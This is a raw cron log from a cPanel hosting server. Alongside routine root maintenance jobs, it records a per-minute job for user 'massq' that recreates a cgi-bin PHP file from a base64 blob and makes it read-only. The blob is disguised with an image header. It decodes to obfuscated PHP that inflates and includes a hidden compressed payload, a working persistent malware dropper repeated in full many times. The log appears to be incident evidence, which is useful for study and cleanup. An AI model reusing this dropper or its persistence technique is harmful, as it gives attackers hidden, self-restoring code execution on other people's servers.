Sep  4 23:27:01 server CROND[19448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:27:01 server CROND[19449]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:28:01 server CROND[19929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:28:01 server CROND[19931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:28:01 server CROND[19930]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:29:01 server CROND[20308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:29:01 server CROND[20309]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:29:01 server CROND[20311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:30:01 server CROND[20674]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 23:30:01 server CROND[20675]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 23:30:01 server CROND[20684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:30:01 server CROND[20689]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 23:30:01 server CROND[20691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:30:01 server CROND[20683]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 23:30:01 server CROND[20688]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 23:30:01 server CROND[20692]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:31:01 server CROND[21520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:31:01 server CROND[21519]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:31:01 server CROND[21521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:32:01 server CROND[21905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:32:01 server CROND[21906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:32:01 server CROND[21907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:33:01 server CROND[22340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:33:01 server CROND[22341]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:33:01 server CROND[22342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:34:01 server CROND[22715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:34:01 server CROND[22716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:34:01 server CROND[22717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:35:01 server CROND[23376]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 23:35:01 server CROND[23378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:35:01 server CROND[23384]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 23:35:01 server CROND[23390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:35:01 server CROND[23391]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 23:35:01 server CROND[23393]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 23:35:01 server CROND[23396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:35:01 server CROND[23394]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 23:35:01 server CROND[23395]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 23:36:01 server CROND[24222]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:36:01 server CROND[24223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:36:01 server CROND[24224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:37:01 server CROND[24601]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:37:01 server CROND[24602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:37:01 server CROND[24603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:38:01 server CROND[24980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:38:01 server CROND[24981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:38:01 server CROND[24982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:39:01 server CROND[25359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:39:01 server CROND[25361]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 23:39:01 server CROND[25362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
